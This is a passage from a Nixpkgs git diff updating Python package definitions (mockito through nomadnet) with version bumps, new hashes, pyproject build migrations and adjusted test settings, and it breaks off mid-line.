b/pkgs/development/python-modules/mockito/default.nix index f142d1288ef37..e4f67df674013 100644 --- a/pkgs/development/python-modules/mockito/default.nix +++ b/pkgs/development/python-modules/mockito/default.nix @@ -1,27 +1,39 @@ -{ lib, buildPythonPackage, fetchPypi, isPy3k, funcsigs, pytest, numpy }: +{ lib +, buildPythonPackage +, fetchPypi +, hatchling +, numpy +, pytestCheckHook +, pythonOlder +}: buildPythonPackage rec { - version = "1.4.0"; - format = "setuptools"; pname = "mockito"; + version = "1.5.0"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-QJq2BMnr4bt9wY7GsO2YqK1RJ7CCc/WASyL00bUeUiI="; + hash = "sha256-A2Eo2n2vLaiaC2N71zMh6ZL/ZbqKOYdsojPuwX63fo8="; }; - propagatedBuildInputs = lib.optionals (!isPy3k) [ funcsigs ]; - nativeCheckInputs = [ pytest numpy ]; + nativeBuildInputs = [ + hatchling + ]; + + nativeCheckInputs = [ + numpy + pytestCheckHook + ]; - # tests are no longer packaged in pypi tarball - doCheck = false; - checkPhase = '' - pytest - ''; + pythonImportsCheck = [ "mockito" ]; meta = with lib; { description = "Spying framework"; homepage = "https://github.com/kaste/mockito-python"; + changelog = "https://github.com/kaste/mockito-python/blob/${version}/CHANGES.txt"; license = licenses.mit; maintainers = [ maintainers.marsam ]; }; diff --git a/pkgs/development/python-modules/moderngl_window/default.nix b/pkgs/development/python-modules/moderngl-window/default.nix index 34b1b650da08a..34b1b650da08a 100644 --- a/pkgs/development/python-modules/moderngl_window/default.nix +++ b/pkgs/development/python-modules/moderngl-window/default.nix diff --git a/pkgs/development/python-modules/molecule/default.nix b/pkgs/development/python-modules/molecule/default.nix index da881f658675f..6b46ae62258c4 100644 --- a/pkgs/development/python-modules/molecule/default.nix +++ b/pkgs/development/python-modules/molecule/default.nix @@ -1,11 +1,13 @@ { lib , buildPythonPackage , fetchPypi +, testers , ansible-compat , ansible-core , click-help-colors , enrich , jsonschema +, molecule , withPlugins ? true, molecule-plugins , packaging , pluggy @@ -19,12 +21,12 @@ buildPythonPackage rec { pname = "molecule"; - version = "6.0.3"; + version = "24.2.0"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-0qiBBi/MXvHgjB5RJ8BDVNLJUXGVXicL2Cs/v+9y07A="; + hash = "sha256-R8mCp9Bdt4Rtp3/nFZ3rlG8myvsuOI/HGBK+AImkF3Y="; }; nativeBuildInputs = [ @@ -51,6 +53,14 @@ buildPythonPackage rec { # tests can't be easily run without installing things from ansible-galaxy doCheck = false; + passthru.tests.version = (testers.testVersion { + package = molecule; + command = "PY_COLORS=0 ${pname} --version"; + }).overrideAttrs (old: { + # workaround the error: Permission denied: '/homeless-shelter' + HOME = "$(mktemp -d)"; + }); + meta = with lib; { description = "Molecule aids in the development and testing of Ansible roles"; homepage = "https://github.com/ansible-community/molecule"; diff --git a/pkgs/development/python-modules/monty/default.nix b/pkgs/development/python-modules/monty/default.nix index 80256a11bfdb4..77c7547e0b69f 100644 --- a/pkgs/development/python-modules/monty/default.nix +++ b/pkgs/development/python-modules/monty/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "monty"; - version = "2024.2.2"; + version = "2024.2.26"; pyproject = true; disabled = pythonOlder "3.9"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "materialsvirtuallab"; repo = "monty"; rev = "refs/tags/v${version}"; - hash = "sha256-tKt0IMUmx1WvnQ27PyeyEEGekOKGY33YX4af1/ipbk4="; + hash = "sha256-+NxgZ8JCoAih4nHq+KP4jym0xnKCjUXJqs+xPpKZPbs="; }; postPatch = '' diff --git a/pkgs/development/python-modules/motionblinds/default.nix b/pkgs/development/python-modules/motionblinds/default.nix index 6e0d245f0f077..7d8aa5a784006 100644 --- a/pkgs/development/python-modules/motionblinds/default.nix +++ b/pkgs/development/python-modules/motionblinds/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "motionblinds"; - version = "0.6.20"; + version = "0.6.23"; pyproject = true; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "starkillerOG"; repo = "motion-blinds"; rev = "refs/tags/${version}"; - hash = "sha256-Ri14GwRpORk+8RdpPnrOOfDD+sqdQp9ESlYDnaS9ln8="; + hash = "sha256-f5R58p6tMVqmXAjybae8qjeNI3vxtGJ7qxZOl9H5iKw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/moto/default.nix b/pkgs/development/python-modules/moto/default.nix index 7f5b42e4d2f04..071b7f3ddb647 100644 --- a/pkgs/development/python-modules/moto/default.nix +++ b/pkgs/development/python-modules/moto/default.nix @@ -43,14 +43,14 @@ buildPythonPackage rec { pname = "moto"; - version = "4.2.11"; + version = "4.2.13"; pyproject = true; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-LaYtUuqnZd/idiySDwqIpY86CeBFgckduWfZL67ISPE="; + hash = "sha256-Aa72pImnJcjXJb09xvcP8b7a7j4mQXUuS0cf8O3ktNc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/mpi4py/default.nix b/pkgs/development/python-modules/mpi4py/default.nix index deb54ab149be8..b5f4e403ab38d 100644 --- a/pkgs/development/python-modules/mpi4py/default.nix +++ b/pkgs/development/python-modules/mpi4py/default.nix @@ -38,8 +38,6 @@ buildPythonPackage rec { # work as expected ''; - setupPyBuildFlags = ["--mpicc=${mpi}/bin/mpicc"]; - nativeBuildInputs = [ mpi ]; __darwinAllowLocalNetworking = true; diff --git a/pkgs/development/python-modules/mplhep/default.nix b/pkgs/development/python-modules/mplhep/default.nix index e550285ccaac4..cb42de13cca71 100644 --- a/pkgs/development/python-modules/mplhep/default.nix +++ b/pkgs/development/python-modules/mplhep/default.nix @@ -16,12 +16,12 @@ buildPythonPackage rec { pname = "mplhep"; - version = "0.3.32"; + version = "0.3.35"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-xwlrMZLJKRW6iqMsDKS5BDqejADSk/qGOAnQDZ2fTPc="; + hash = "sha256-0l89Vh/vmi8kHeNer2ExGE1ehn1Kw3AbEUm8C55a92w="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/mrjob/default.nix b/pkgs/development/python-modules/mrjob/default.nix index 97cd5fd78e85b..0a28d82f74ad4 100644 --- a/pkgs/development/python-modules/mrjob/default.nix +++ b/pkgs/development/python-modules/mrjob/default.nix @@ -1,5 +1,6 @@ { lib , buildPythonPackage +, pythonAtLeast , fetchFromGitHub # propagates @@ -25,7 +26,9 @@ buildPythonPackage rec { pname = "mrjob"; version = "0.7.4"; - format = "setuptools"; + + # https://github.com/Yelp/mrjob/issues/2222 + disabled = pythonAtLeast "3.12"; src = fetchFromGitHub { owner = "Yelp"; diff --git a/pkgs/development/python-modules/msal/default.nix b/pkgs/development/python-modules/msal/default.nix index fb6eff799fbfa..6b983174f05f3 100644 --- a/pkgs/development/python-modules/msal/default.nix +++ b/pkgs/development/python-modules/msal/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "msal"; - version = "1.26.0"; + version = "1.27.0"; pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-IkdWB5/jOL6DhzdoK0n468IKh8HF7q9ZDarkUyuD3hU="; + hash = "sha256-MQlQPAOLprMHFSsOjTT5gRPy56eJhuKNC69bUwOv2lI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/mscerts/default.nix b/pkgs/development/python-modules/mscerts/default.nix index 400e0c2774e8c..9dc16828c8697 100644 --- a/pkgs/development/python-modules/mscerts/default.nix +++ b/pkgs/development/python-modules/mscerts/default.nix @@ -6,7 +6,7 @@ buildPythonPackage rec { pname = "mscerts"; - version = "2023.11.29"; + version = "2024.2.28"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -15,7 +15,7 @@ buildPythonPackage rec { owner = "ralphje"; repo = "mscerts"; rev = "refs/tags/${version}"; - hash = "sha256-TNwpWxknCUcvXFy3UInrEx4iFZi/hLS7exvJBv3DlWo="; + hash = "sha256-ReUDpax4tvw4ZCH8zOipelIPtHi7BdgLHI/r3FNpo1c="; }; # extras_require contains signify -> circular dependency diff --git a/pkgs/development/python-modules/msrest/default.nix b/pkgs/development/python-modules/msrest/default.nix index 3463931a1cb6c..5f4f9869e3047 100644 --- a/pkgs/development/python-modules/msrest/default.nix +++ b/pkgs/development/python-modules/msrest/default.nix @@ -9,16 +9,18 @@ , isodate , pytest-aiohttp , pytestCheckHook +, pythonAtLeast , pythonOlder , requests , requests-oauthlib +, setuptools , trio }: buildPythonPackage rec { pname = "msrest"; version = "0.7.1"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -30,6 +32,10 @@ buildPythonPackage rec { hash = "sha256-1EXXXflhDeU+erdI+NsWxSX76ooDTl3+MyQwRzm2xV0="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ azure-core aiodns @@ -56,6 +62,12 @@ buildPythonPackage rec { "test_conf_async_requests" "test_conf_async_requests" "test_conf_async_trio_requests" + ] ++ lib.optionals (pythonAtLeast "3.12") [ + # AttributeError: 'TestAuthentication' object has no attribute... + "test_apikey_auth" + "test_cs_auth" + "test_eventgrid_auth" + "test_eventgrid_domain_auth" ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/msrestazure/default.nix b/pkgs/development/python-modules/msrestazure/default.nix index e564a0fd5959d..b997cd9b5065c 100644 --- a/pkgs/development/python-modules/msrestazure/default.nix +++ b/pkgs/development/python-modules/msrestazure/default.nix @@ -1,41 +1,52 @@ -{ pkgs -, lib +{ lib +, adal , buildPythonPackage , fetchFromGitHub -, isPy3k -, adal -, msrest -, mock , httpretty -, pytest +, mock +, msrest , pytest-asyncio +, pytestCheckHook +, pythonOlder +, setuptools }: buildPythonPackage rec { - version = "0.6.4"; - format = "setuptools"; pname = "msrestazure"; + version = "0.6.4"; + pyproject = true; + + disabled = pythonOlder "3.7"; - # Pypi tarball doesnt include tests - # see https://github.com/Azure/msrestazure-for-python/pull/133 src = fetchFromGitHub { owner = "Azure"; repo = "msrestazure-for-python"; - rev = "v${version}"; - sha256 = "0ik81f0n6r27f02gblgm0vl5zl3wc6ijsscihgvc1fgm9f5mk5b5"; + rev = "refs/tags/v${version}"; + hash = "sha256-ZZVZi0v1ucD2g5FpLaNhfNBf6Ab10fUEcEdkY4ELaEY="; }; - propagatedBuildInputs = [ adal msrest ]; + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + adal + msrest + ]; - nativeCheckInputs = [ httpretty mock pytest ] - ++ lib.optionals isPy3k [ pytest-asyncio ]; + nativeCheckInputs = [ + httpretty + mock + pytest-asyncio + pytestCheckHook + ]; - checkPhase = '' - pytest tests/ - ''; + pythonImportsCheck = [ + "msrest" + ]; - meta = with pkgs.lib; { - description = "The runtime library 'msrestazure' for AutoRest generated Python clients."; + meta = with lib; { + description = "The runtime library 'msrestazure' for AutoRest generated Python clients"; homepage = "https://azure.microsoft.com/en-us/develop/python/"; license = licenses.mit; maintainers = with maintainers; [ bendlas jonringer ]; diff --git a/pkgs/development/python-modules/mujoco/default.nix b/pkgs/development/python-modules/mujoco/default.nix index ed60720643a71..098e2a768cc00 100644 --- a/pkgs/development/python-modules/mujoco/default.nix +++ b/pkgs/development/python-modules/mujoco/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "mujoco"; - version = "3.1.2"; + version = "3.1.3"; pyproject = true; @@ -27,7 +27,7 @@ buildPythonPackage rec { # in the project's CI. src = fetchPypi { inherit pname version; - hash = "sha256-U1MLwakZA/P9Sx6ZgYzDj72ZEXANspssn8g58jv6y7g="; + hash = "sha256-9wDQdAMQYLRhEd22BDLQBCX4Ie7q8MzHbtldR4Yb1N4="; }; nativeBuildInputs = [ cmake setuptools ]; diff --git a/pkgs/development/python-modules/multidict/default.nix b/pkgs/development/python-modules/multidict/default.nix index 79646183fa18b..5588fcbdc5b0d 100644 --- a/pkgs/development/python-modules/multidict/default.nix +++ b/pkgs/development/python-modules/multidict/default.nix @@ -1,35 +1,44 @@ { lib -, stdenv , fetchPypi , buildPythonPackage , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "multidict"; - version = "6.0.4"; + version = "6.0.5"; disabled = pythonOlder "3.7"; - format = "setuptools"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-NmaQZJLvt2RTwOe5fyz0WbBoLnQCwEialUhJZdvB2kk="; + hash = "sha256-9+MBB17a9QUA8LNBVDxBGU2N865cr0cC8glfPKc92No="; }; postPatch = '' - sed -i '/^addopts/d' setup.cfg + substituteInPlace pytest.ini \ + --replace-fail "-p pytest_cov" "" + sed -i '/--cov/d' pytest.ini + # `python3 -I -c "import multidict"` fails with ModuleNotFoundError + substituteInPlace tests/test_circular_imports.py \ + --replace-fail '"-I",' "" ''; - NIX_CFLAGS_COMPILE = lib.optionals stdenv.cc.isClang [ - # error: incompatible pointer to integer conversion initializing 'int' with an expression of type 'void *' - "-Wno-error=int-conversion" + nativeBuildInputs = [ + setuptools ]; nativeCheckInputs = [ pytestCheckHook ]; + preCheck = '' + # import from $out + rm -r multidict + ''; + pythonImportsCheck = [ "multidict" ]; meta = with lib; { diff --git a/pkgs/development/python-modules/mypy/default.nix b/pkgs/development/python-modules/mypy/default.nix index 0087fa650d7a8..ba8b5a276197e 100644 --- a/pkgs/development/python-modules/mypy/default.nix +++ b/pkgs/development/python-modules/mypy/default.nix @@ -2,6 +2,7 @@ , stdenv , buildPythonPackage , fetchFromGitHub +, pythonAtLeast , pythonOlder # build-system @@ -100,6 +101,11 @@ buildPythonPackage rec { tomli ] ++ lib.flatten (lib.attrValues passthru.optional-dependencies); + disabledTests = lib.optionals (pythonAtLeast "3.12") [ + # requires distutils + "test_c_unit_test" + ]; + disabledTestPaths = [ # fails to find tyoing_extensions "mypy/test/testcmdline.py" diff --git a/pkgs/development/python-modules/mysqlclient/default.nix b/pkgs/development/python-modules/mysqlclient/default.nix index e43129a94fcf4..e27ee3f7c7be2 100644 --- a/pkgs/development/python-modules/mysqlclient/default.nix +++ b/pkgs/development/python-modules/mysqlclient/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "mysqlclient"; - version = "2.2.1"; + version = "2.2.4"; format = "setuptools"; nativeBuildInputs = [ @@ -23,7 +23,7 @@ buildPythonPackage rec { src = fetchPypi { inherit pname version; - hash = "sha256-LHrRW4cpOxL9RLR8RoeeyV7GR/RWfoZszXC4M3WE6bI="; + hash = "sha256-M7yfs0ZOfXwQser3M2xf+PKj07iLq0MhFq0kkL6zv0E="; }; meta = with lib; { diff --git a/pkgs/development/python-modules/myuplink/default.nix b/pkgs/development/python-modules/myuplink/default.nix index 66651199d7e78..5b4e11a51c6fe 100644 --- a/pkgs/development/python-modules/myuplink/default.nix +++ b/pkgs/development/python-modules/myuplink/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "myuplink"; - version = "0.2.1"; + version = "0.5.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -17,9 +17,14 @@ buildPythonPackage rec { owner = "pajzo"; repo = "myuplink"; rev = "refs/tags/${version}"; - hash = "sha256-wFtFRoT8JKBik5rmdZfz5CQlK4loseOovHfa08uVBo4="; + hash = "sha256-UJGRQqgtbYBwfjys2sYiC3dx8Doesu34EBys5Y++qBY="; }; + postPatch = '' + substituteInPlace setup.cfg \ + --replace-fail "%%VERSION_NO%%" "${version}" + ''; + nativeBuildInputs = [ setuptools ]; diff --git a/pkgs/development/python-modules/nats-py/default.nix b/pkgs/development/python-modules/nats-py/default.nix index 3c384b8c57841..93cb33f9fd07d 100644 --- a/pkgs/development/python-modules/nats-py/default.nix +++ b/pkgs/development/python-modules/nats-py/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "nats-py"; - version = "2.7.0"; + version = "2.7.2"; pyproject = true; disabled = pythonOlder "3.7"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "nats-io"; repo = "nats.py"; rev = "refs/tags/v${version}"; - hash = "sha256-spKz0rKTI8hWdO6r8VLtP3G8tS9ANsjYRbinXOARCOQ="; + hash = "sha256-5lvdt1JbOmdts0CYU00bSmv0LsMQsOe//yUgyevBULE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/nbdime/default.nix b/pkgs/development/python-modules/nbdime/default.nix index 582d46b521089..3f58201e2c927 100644 --- a/pkgs/development/python-modules/nbdime/default.nix +++ b/pkgs/development/python-modules/nbdime/default.nix @@ -1,20 +1,11 @@ { lib , buildPythonPackage -, fetchPypi , pythonOlder -, hypothesis -, setuptools-scm -, six -, attrs -, py -, setuptools -, pytest-timeout -, pytest-tornado -, mock -, tabulate +, fetchPypi +, hatch-jupyter-builder +, hatchling +, jupyterlab , nbformat -, jsonschema -, pytestCheckHook , colorama , pygments , tornado @@ -22,14 +13,16 @@ , gitpython , jupyter-server , jupyter-server-mathjax -, notebook , jinja2 +, git +, pytest-tornado +, pytestCheckHook }: buildPythonPackage rec { pname = "nbdime"; version = "4.0.1"; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.6"; @@ -39,48 +32,42 @@ buildPythonPackage rec { }; nativeBuildInputs = [ - setuptools-scm + hatch-jupyter-builder + hatchling + jupyterlab ]; propagatedBuildInputs = [ - attrs - py - setuptools - six - jupyter-server-mathjax nbformat colorama pygments tornado requests gitpython - notebook + jupyter-server + jupyter-server-mathjax jinja2 ]; nativeCheckInputs = [ - hypothesis - pytest-timeout + git pytest-tornado - jsonschema - mock - tabulate pytestCheckHook ]; disabledTests = [ - "test_apply_filter_no_repo" - "test_diff_api_checkpoint" - "test_filter_cmd_invalid_filter" - "test_inline_merge_source_add" - "test_inline_merge_source_patches" - "test_inline_merge_source_replace" - "test_inline_merge_cells_insertion" - "test_inline_merge_cells_replacement" - "test_interrogate_filter_no_repo" - "test_merge_input_strategy_inline" + "test_git_diffdriver" + "test_git_difftool" + "test_git_mergedriver" + "test_git_mergetool" ]; + preCheck = '' + export HOME="$TEMP" + git config --global user.email "janedoe@example.com" + git config --global user.name "Jane Doe" + ''; + __darwinAllowLocalNetworking = true; pythonImportsCheck = [ @@ -89,7 +76,8 @@ buildPythonPackage rec { meta = with lib; { homepage = "https://github.com/jupyter/nbdime"; - description = "Tools for diffing and merging of Jupyter notebooks."; + changelog = "https://github.com/jupyter/nbdime/blob/${version}/CHANGELOG.md"; + description = "Tools for diffing and merging of Jupyter notebooks"; license = licenses.bsd3; maintainers = with maintainers; [ tbenst ]; }; diff --git a/pkgs/development/python-modules/nbxmpp/default.nix b/pkgs/development/python-modules/nbxmpp/default.nix index d070b4317eeda..22cc74504f671 100644 --- a/pkgs/development/python-modules/nbxmpp/default.nix +++ b/pkgs/development/python-modules/nbxmpp/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "nbxmpp"; - version = "4.5.3"; + version = "4.5.4"; format = "pyproject"; disabled = pythonOlder "3.10"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "gajim"; repo = "python-nbxmpp"; rev = "refs/tags/${version}"; - hash = "sha256-vAuHfG2/DVUDCxUb7UMRejIh4fQHGl67A+dncvcJ8jQ="; + hash = "sha256-n5Pzw8aikzCml+dOhkLoHR0ytFkEb4AYpw/bIpo6Wd4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/neo4j/default.nix b/pkgs/development/python-modules/neo4j/default.nix index 4db2398c25b50..ba7a84d02ec50 100644 --- a/pkgs/development/python-modules/neo4j/default.nix +++ b/pkgs/development/python-modules/neo4j/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "neo4j"; - version = "5.17.0"; + version = "5.18.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "neo4j"; repo = "neo4j-python-driver"; rev = "refs/tags/${version}"; - hash = "sha256-BZo4TzFrH1ATl09zRXy+1AFJSBopmByDHe7oITZy7pA="; + hash = "sha256-rp0N2k23WZ86hqqz4ByW5gdyU2eYLVppyEJEdY/Yk8w="; }; postPatch = '' diff --git a/pkgs/development/python-modules/neoteroi-mkdocs/default.nix b/pkgs/development/python-modules/neoteroi-mkdocs/default.nix new file mode 100644 index 0000000000000..ee4c4a1723595 --- /dev/null +++ b/pkgs/development/python-modules/neoteroi-mkdocs/default.nix @@ -0,0 +1,63 @@ +{ + buildPythonPackage, + fetchFromGitHub, + lib, + click, + essentials-openapi, + flask, + hatchling, + httpx, + jinja2, + mkdocs, + pytestCheckHook, + pythonImportsCheckHook, + rich, + setuptools, +}: +buildPythonPackage rec { + pname = "neoteroi-mkdocs"; + version = "1.0.5"; + pyproject = true; + + src = fetchFromGitHub { + owner = "Neoteroi"; + repo = "mkdocs-plugins"; + rev = "refs/tags/v${version}"; + hash = "sha256-gpU3G1PeZTKO4fWr4x8Ek0GIBEP3oRAgu7OFn2OZbRE="; + }; + + buildInputs = [ + hatchling + ]; + + nativeCheckInputs = [ + pytestCheckHook + flask + setuptools + ]; + + propagatedBuildInputs = [ + essentials-openapi + click + jinja2 + httpx + mkdocs + rich + ]; + + disabledTests = [ + "test_contribs" # checks against its own git repository + ]; + + pythonImportsCheck = [ + "neoteroi.mkdocs" + ]; + + meta = with lib; { + homepage = "https://github.com/Neoteroi/mkdocs-plugins"; + description = "Plugins for MkDocs"; + changelog = "https://github.com/Neoteroi/mkdocs-plugins/releases/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [aldoborrero zimbatm]; + }; +} diff --git a/pkgs/development/python-modules/nest-asyncio/default.nix b/pkgs/development/python-modules/nest-asyncio/default.nix index fcd74efe9237d..3daac2f31d161 100644 --- a/pkgs/development/python-modules/nest-asyncio/default.nix +++ b/pkgs/development/python-modules/nest-asyncio/default.nix @@ -1,27 +1,43 @@ { lib , buildPythonPackage -, fetchPypi -, pythonAtLeast +, fetchFromGitHub +, pytestCheckHook +, pythonOlder +, setuptools +, setuptools-scm }: buildPythonPackage rec { - version = "1.5.6"; - pname = "nest_asyncio"; - disabled = !(pythonAtLeast "3.5"); + pname = "nest-asyncio"; + version = "1.6.0"; + pyproject = true; - src = fetchPypi { - inherit pname version; - hash = "sha256-0mfMH/eUQD999pKWTR0qP6lBj/6io/aFmkOf9IL+8pA="; + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "erdewit"; + repo = "nest_asyncio"; + rev = "refs/tags/v${version}"; + hash = "sha256-5I5WItOl1QpyI4OXZgZf8GiQ7Jlo+SJbDicIbernaU4="; }; - # tests not packaged with source dist as of 1.3.2/1.3.2, and - # can't check tests out of GitHub easily without specific commit IDs (no tagged releases) - doCheck = false; - pythonImportsCheck = [ "nest_asyncio" ]; + nativeBuildInputs = [ + setuptools + setuptools-scm + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "nest_asyncio" + ]; meta = with lib; { description = "Patch asyncio to allow nested event loops"; homepage = "https://github.com/erdewit/nest_asyncio"; + changelog = "https://github.com/erdewit/nest_asyncio/releases/tag/v${version}"; license = licenses.bsdOriginal; maintainers = with maintainers; [ ]; }; diff --git a/pkgs/development/python-modules/niaaml/default.nix b/pkgs/development/python-modules/niaaml/default.nix index bc5d712913b85..8559087214906 100644 --- a/pkgs/development/python-modules/niaaml/default.nix +++ b/pkgs/development/python-modules/niaaml/default.nix @@ -14,7 +14,7 @@ buildPythonPackage rec { pname = "niaaml"; - version = "1.1.12"; + version = "1.2.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "lukapecnik"; repo = "NiaAML"; rev = "refs/tags/${version}"; - hash = "sha256-GAUXEkUOD04DQtRG/RAeeeLmenBd25h18Lmrxbm4X3A="; + hash = "sha256-jGbsxYlRJ81g74LqSKpquciPsLP+KSoNBTJPEaD/CHM="; }; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/nibabel/default.nix b/pkgs/development/python-modules/nibabel/default.nix index 3bccab3447418..7d8e021fd0cfb 100644 --- a/pkgs/development/python-modules/nibabel/default.nix +++ b/pkgs/development/python-modules/nibabel/default.nix @@ -20,14 +20,14 @@ buildPythonPackage rec { pname = "nibabel"; - version = "5.2.0"; + version = "5.2.1"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-Pfjxq5gdG9kvQzHVZVKNEmq5cX/b1M/mj0P80cK/P1I="; + hash = "sha256-tsgLLnKOS8K2XxFC2bjSKHqRAqi/hHfhFe8NgzRVmXU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/nibe/default.nix b/pkgs/development/python-modules/nibe/default.nix index 4dbaa2c94d3d4..d065f93ade21f 100644 --- a/pkgs/development/python-modules/nibe/default.nix +++ b/pkgs/development/python-modules/nibe/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "nibe"; - version = "2.8.0"; + version = "2.9.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "yozik04"; repo = "nibe"; rev = "refs/tags/${version}"; - hash = "sha256-baw2uJn2M0tcP897+h88aMkVul6l170Vyz6qwFHZ8+s="; + hash = "sha256-j8P/lhBjlsmnOc4Cv/a2Hdf2EPO8CEpT4IOQHtiBgQA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/nikola/default.nix b/pkgs/development/python-modules/nikola/default.nix index e4990ff4af319..461d65a00f8fc 100644 --- a/pkgs/development/python-modules/nikola/default.nix +++ b/pkgs/development/python-modules/nikola/default.nix @@ -1,11 +1,12 @@ { lib +, stdenv , aiohttp , babel , blinker , buildPythonPackage -, python-dateutil , docutils , doit +, feedparser , fetchPypi , freezegun , ghp-import @@ -28,10 +29,11 @@ , pyphen , pyrss2gen , pytestCheckHook +, python-dateutil , pythonOlder , requests , ruamel-yaml -, stdenv +, setuptools , toml , typogrify , unidecode @@ -41,24 +43,33 @@ buildPythonPackage rec { pname = "nikola"; - version = "8.2.4"; - format = "setuptools"; + version = "8.3.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { pname = "Nikola"; inherit version; - hash = "sha256-LNVk2zfNwY4CC4qulqfNXwi3mWyFxzWIeMykh6gFOL8="; + hash = "sha256-VYuhiGLMTHcOZM8/bGZT7Xx5BOHo9gsMPjufYglrBL0="; }; + postPatch = '' + substituteInPlace setup.cfg \ + --replace-fail "--cov nikola --cov-report term-missing" "" + ''; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiohttp babel blinker - python-dateutil docutils doit + feedparser ghp-import hsluv html5lib @@ -77,6 +88,7 @@ buildPythonPackage rec { pygments pyphen pyrss2gen + python-dateutil requests ruamel-yaml toml @@ -92,11 +104,6 @@ buildPythonPackage rec { pytestCheckHook ]; - postPatch = '' - substituteInPlace setup.cfg \ - --replace "--cov nikola --cov-report term-missing" "" - ''; - disabledTests = [ # AssertionError "test_compiling_markdown" @@ -107,7 +114,9 @@ buildPythonPackage rec { "test_format_date_locale_variants" ]; - pythonImportsCheck = [ "nikola" ]; + pythonImportsCheck = [ + "nikola" + ]; meta = with lib; { description = "Static website and blog generator"; diff --git a/pkgs/development/python-modules/nilearn/default.nix b/pkgs/development/python-modules/nilearn/default.nix index 3c21b0b62e518..ce7cdee635b3e 100644 --- a/pkgs/development/python-modules/nilearn/default.nix +++ b/pkgs/development/python-modules/nilearn/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "nilearn"; - version = "0.10.2"; + version = "0.10.3"; pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-A+9Npy0a6HsuPyi3cdx+BUZKoXliblfDAFlWJahlQnM="; + hash = "sha256-d4GTMTFMTKXBXAdjT2n4Vfr9+a3QUbGILjpgCtUnV9g="; }; nativeBuildInputs = [ hatch-vcs ]; diff --git a/pkgs/development/python-modules/nix-prefetch-github/default.nix b/pkgs/development/python-modules/nix-prefetch-github/default.nix index ca2183e82a4c1..6424c5a7bc0f4 100644 --- a/pkgs/development/python-modules/nix-prefetch-github/default.nix +++ b/pkgs/development/python-modules/nix-prefetch-github/default.nix @@ -5,23 +5,32 @@ , which , pythonOlder , unittestCheckHook +, sphinxHook +, sphinx-argparse +, parameterized +, setuptools }: buildPythonPackage rec { pname = "nix-prefetch-github"; - version = "7.0.0"; - format = "setuptools"; + version = "7.1.0"; + pyproject = true; - disabled = pythonOlder "3.8"; + outputs = [ "out" "man" ]; + disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "seppeljordan"; repo = "nix-prefetch-github"; rev = "v${version}"; - hash = "sha256-oIR2iEiOBQ1VKouJTLqEiWWNzrMSJcnxK+m/j9Ia/m8="; + hash = "sha256-eQd/MNlnuzXzgFzvwUMchvHoIvkIrbpGKV7iknO14Cc="; }; - nativeCheckInputs = [ unittestCheckHook git which ]; + nativeBuildInputs = [ sphinxHook sphinx-argparse setuptools ]; + nativeCheckInputs = [ unittestCheckHook git which parameterized ]; + + sphinxBuilders = [ "man" ]; + sphinxRoot = "docs"; # ignore tests which are impure DISABLED_TESTS = "network requires_nix_build"; diff --git a/pkgs/development/python-modules/nomadnet/default.nix b/pkgs/development/python-modules/nomadnet/default.nix index 19488765269b2..2b7b4533ee30b 100644 --- a/pkgs/development/python-modules/nomadnet/default.nix +++ b/pkgs/development/python-modules/nomadnet/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "nomadnet"; - version = "0.4.5"; + version = 